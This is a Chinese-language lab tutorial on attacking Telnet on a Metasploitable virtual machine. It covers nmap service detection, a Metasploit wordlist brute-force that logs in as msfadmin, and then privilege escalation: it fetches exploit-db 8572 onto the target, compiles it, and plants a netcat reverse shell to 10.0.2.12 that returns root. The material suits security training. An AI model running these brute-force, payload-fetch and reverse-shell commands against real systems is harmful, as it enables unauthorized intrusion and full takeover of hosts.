Telnet是一个明文传送协议，它将用户的所有内容，包括用户名和密码都明文在互联网上传送，具有一定的安全隐患，因此许多服务器都会选择禁用Telnet服务
Telnet协议是TCP/IP协议族中的一员，是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序，用它连接到服务器。终端使用者可以在telnet程序中输入命令，这些命令会在服务器上运行，就像直接在服务器的控制台上输入一样。
虽然Telnet较为简单实用也很方便，但是在格外注重安全的现代网络技术中，Telnet并不被重用。原因在于Telnet是一个明文传送协议，它将用户的所有内容，包括用户名和密码都明文在互联网上传送，具有一定的安全隐患，因此许多服务器都会选择禁用Telnet服务。如果我们要使用Telnet的远程登录，使用前应在远端服务器上检查并设置允许Telnet服务的功能。
Telnet服务端默认情况下使用23端口。
Telnet版本获取
利用Telnet漏洞，首先需要了解主机信息，软件版本信息。从下面探测结果，可以看出是一台linux机器。
➜ ~ nmap -p23 -sV 10.0.2.5
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-10 23:42 EDT
Nmap scan report for 10.0.2.5
Host is up (0.00026s latency).
PORT STATE SERVICE VERSION
23/tcp open telnet Linux telnetd
MAC Address: 08:00:27:87:7B:B0 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.98 seconds
Telnet密码破解
下面使用metasploit对telnet进行用户名和密码的破解。
1、登录msfconsole
➜ ~ msfconsole
[-] ***Rting the Metasploit Framework console...\
[-] * WARNING: No database support: No database YAML file
[-] ***
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MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM
MMMNI MMMMM MMMMMMM MMMMM jMMMM
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https://metasploit.com
=[ metasploit v5.0.2-dev ]
+ -- --=[ 1852 exploits - 1046 auxiliary - 325 post ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops ]
+ -- --=[ 2 evasion ]
+ -- --=[ ** This is Metasploit 5 development branch ** ]
msf5 >
2、使用search telnet进行查询telnet可以利用的模块
msf5 > search telnet
Matching Modules
================
Name Disclosure Date Rank Check Description
---- --------------- ---- ----- -----------
auxiliary/admin/http/dlink_dir_300_600_exec_noauth 2013-02-04 normal No D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution
auxiliary/dos/cisco/ios_telnet_rocem 2017-03-17 normal No Cisco IOS Telnet Denial of Service
auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof 2010-12-21 normal No Microsoft IIS FTP Server Encoded Response Overflow Trigger
auxiliary/scanner/ssh/juniper_backdoor 2015-12-20 normal Yes Juniper SSH Backdoor Scanner
auxiliary/scanner/telnet/brocade_enable_login normal Yes Brocade Enable Login Check Scanner
auxiliary/scanner/telnet/lantronix_telnet_password normal Yes Lantronix Telnet Password Recovery
auxiliary/scanner/telnet/lantronix_telnet_version normal Yes Lantronix Telnet Service Banner Detection
auxiliary/scanner/telnet/satel_cmd_exec 2017-04-07 normal Yes Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability
auxiliary/scanner/telnet/telnet_encrypt_overflow normal Yes Telnet Service Encryption Key ID Overflow Detection
auxiliary/scanner/telnet/telnet_login normal Yes Telnet Login Check Scanner
auxiliary/scanner/telnet/telnet_ruggedcom normal Yes RuggedCom Telnet Password Generator
auxiliary/scanner/telnet/telnet_version normal Yes Telnet Service Banner Detection
auxiliary/server/capture/telnet normal No Authentication Capture: Telnet
exploit/freebsd/ftp/proftp_telnet_iac 2010-11-01 great Yes ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
exploit/freebsd/telnet/telnet_encrypt_keyid 2011-12-23 great No FreeBSD Telnet Service Encryption Key ID Buffer Overflow
exploit/linux/ftp/proftp_telnet_iac 2010-11-01 great Yes ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
exploit/linux/http/asuswrt_lan_rce 2018-01-22 excellent No AsusWRT LAN Unauthenticated Remote Code Execution
exploit/linux/http/dlink_diagnostic_exec_noauth 2013-03-05 excellent No D-Link DIR-645 / DIR-815 diagnostic.php Command Execution
exploit/linux/http/dlink_dir300_exec_telnet 2013-04-22 excellent No D-Link Devices Unauthenticated Remote Command Execution
exploit/linux/http/huawei_hg532n_cmdinject 2017-04-15 excellent Yes Huawei HG532n Command Injection
exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection 2015-12-20 excellent No TP-Link SC2020n Authenticated Telnet Injection
exploit/linux/misc/asus_infosvr_auth_bypass_exec 2015-01-04 excellent No ASUS infosvr Auth Bypass Command Execution
exploit/linux/misc/hp_jetdirect_path_traversal 2017-04-05 normal No HP Jetdirect Path Traversal Arbitrary Code Execution
exploit/linux/telnet/netgear_telnetenable 2009-10-30 excellent Yes NETGEAR TelnetEnable
exploit/linux/telnet/telnet_encrypt_keyid 2011-12-23 great No Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow
exploit/solaris/telnet/fuser 2007-02-12 excellent No Sun Solaris Telnet Remote Authentication Bypass Vulnerability
exploit/solaris/telnet/ttyprompt 2002-01-18 excellent No Solaris in.telnetd TTYPROMPT Buffer Overflow
exploit/unix/misc/polycom_hdx_auth_bypass 2013-01-18 normal Yes Polycom Command Shell Authorization Bypass
exploit/unix/misc/polycom_hdx_traceroute_exec 2017-11-12 excellent Yes Polycom Shell HDX Series Traceroute Command Execution
exploit/unix/polycom_hdx_auth_bypass 2013-01-18 normal Yes Polycom Command Shell Authorization Bypass
exploit/unix/webapp/dogfood_spell_exec 2009-03-03 excellent Yes Dogfood CRM spell.php Remote Command Execution
exploit/windows/proxy/ccproxy_telnet_ping 2004-11-11 average Yes CCProxy Telnet Proxy Ping Overflow
exploit/windows/telnet/gamsoft_telsrv_username 2000-07-17 average Yes GAMSoft TelSrv 1.5 Username Buffer Overflow
exploit/windows/telnet/goodtech_telnet 2005-03-15 average No GoodTech Telnet Server Buffer Overflow
payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
post/windows/gather/credentials/mremote normal No Windows Gather mRemote Saved Password Extraction
3、选择一个暴力破解辅助（auxiliary），并设置好相应参数
msf5 > use auxiliary/scanner/telnet/telnet_login
msf5 auxiliary(scanner/telnet/telnet_login) > show options
Module options (auxiliary/scanner/telnet/telnet_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target address range or CIDR identifier
RPORT 23 yes The target port (TCP)
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
msf5 auxiliary(scanner/telnet/telnet_login) > set USER
set USERNAME set USERPASS_FILE set USER_AS_PASS set USER_FILE
msf5 auxiliary(scanner/telnet/telnet_login) > set USERPASS_FILE /usr/share/wordlists/metasploit/piata_ssh_userpass.txt
USERPASS_FILE => /usr/share/wordlists/metasploit/piata_ssh_userpass.txt
msf5 auxiliary(scanner/telnet/telnet_login) > set THREADS 5
THREADS => 5
msf5 auxiliary(scanner/telnet/telnet_login) > set RHOSTS 10.0.2.5
RHOSTS => 10.0.2.5
msf5 auxiliary(scanner/telnet/telnet_login) > show options
Module options (auxiliary/scanner/telnet/telnet_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS 10.0.2.5 yes The target address range or CIDR identifier
RPORT 23 yes The target port (TCP)
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 5 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE /usr/share/wordlists/metasploit/piata_ssh_userpass.txt no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
4、最后进行破解，并连接上session
msf5 auxiliary(scanner/telnet/telnet_login) > run
[!] 10.0.2.5:23 - No active DB -- Credential data will not be saved!
[-] 10.0.2.5:23 - 10.0.2.5:23 - LOGIN FAILED: root:root (Incorrect: )
[-] 10.0.2.5:23 - 10.0.2.5:23 - LOGIN FAILED: admin:admin (Incorrect: )
[-] 10.0.2.5:23 - 10.0.2.5:23 - LOGIN FAILED: test:test (Incorrect: )
[+] 10.0.2.5:23 - 10.0.2.5:23 - Login Successful: msfadmin:msfadmin
[*] 10.0.2.5:23 - Attempting to start session 10.0.2.5:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (10.0.2.12:34457 -> 10.0.2.5:23) at 2019-07-11 00:46:41 -0400
[-] 10.0.2.5:23 - 10.0.2.5:23 - LOGIN FAILED: root:matrix (Incorrect: )
[-] 10.0.2.5:23 - 10.0.2.5:23 - LOGIN FAILED: ghost:ghost (Incorrect: )
[-] 10.0.2.5:23 - 10.0.2.5:23 - LOGIN FAILED: root:sleeper (Incorrect: )
^C[*] 10.0.2.5:23 - Caught interrupt from the console...
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/telnet/telnet_login) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell TELNET msfadmin:msfadmin (10.0.2.5:23) 10.0.2.12:34457 -> 10.0.2.5:23 (10.0.2.5)
msf5 auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1...
id
id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
msfadmin@metasploitable:~$
登录提权
感觉拿到的shell权限太弱，那下面我们就验证下如何提权。
1、Kali下载提权工具exp，并启动Http服务。
➜ ~ cd /var/www/html
➜ ~ wget http://www.exploit-db.com/download/8572
➜ ~ systemctl start nginx
2、Kali中启动NC监听
➜ ~ nc -lvp 4444
listening on [any] 4444 ...
3、通过上面拿到的目标主机shell下载exp
msfadmin@metasploitable:~$ wget http://10.0.2.12/8572
wget http://10.0.2.12/8572
--09:18:28-- http://10.0.2.12/8572
=> `8572'
Connecting to 10.0.2.12:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,876 (2.8K) [application/octet-stream]
100%[====================================>] 2,876 --.--K/s
09:18:28 (561.72 KB/s) - `8572' saved [2876/2876]
4、万事俱备，开始提权
使用gcc编译exp，设置提权脚本，最后执行exp。
exp参数：具有root权限的pid -1
msfadmin@metasploitable:~$ mv 8572 8572.c
mv 8572 8572.c
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ gcc 8572.c -o exploit
gcc 8572.c -o exploit
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ echo '#!/bin/sh' > /tmp/run
echo '#!/bin/sh' > /tmp/run
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ echo '/bin/netcat -e /bin/sh 10.0.2.12 4444' >> /tmp/run
<echo '/bin/netcat -e /bin/sh 10.0.2.12 4444' >> /tmp/run
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ ps -edf |grep udev
ps -edf |grep udev
root 2302 1 0 08:48 ? 00:00:00 /sbin/udevd --daemon
msfadmin 4847 4844 0 09:44 pts/1 00:00:00 grep udev
msfadmin@metasploitable:~$ chmod +x exploit
chmod +x exploit
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ ./exploit 2301
./exploit 2301
msfadmin@metasploitable:~$
5、查看Kali中NC监听结果
➜ ~ nc -lvp 4444
listening on [any] 4444 ...
id
10.0.2.5: inverse host lookup failed: Unknown host
connect to [10.0.2.12] from (UNKNOWN) [10.0.2.5] 50536
uid=0(root) gid=0(root)
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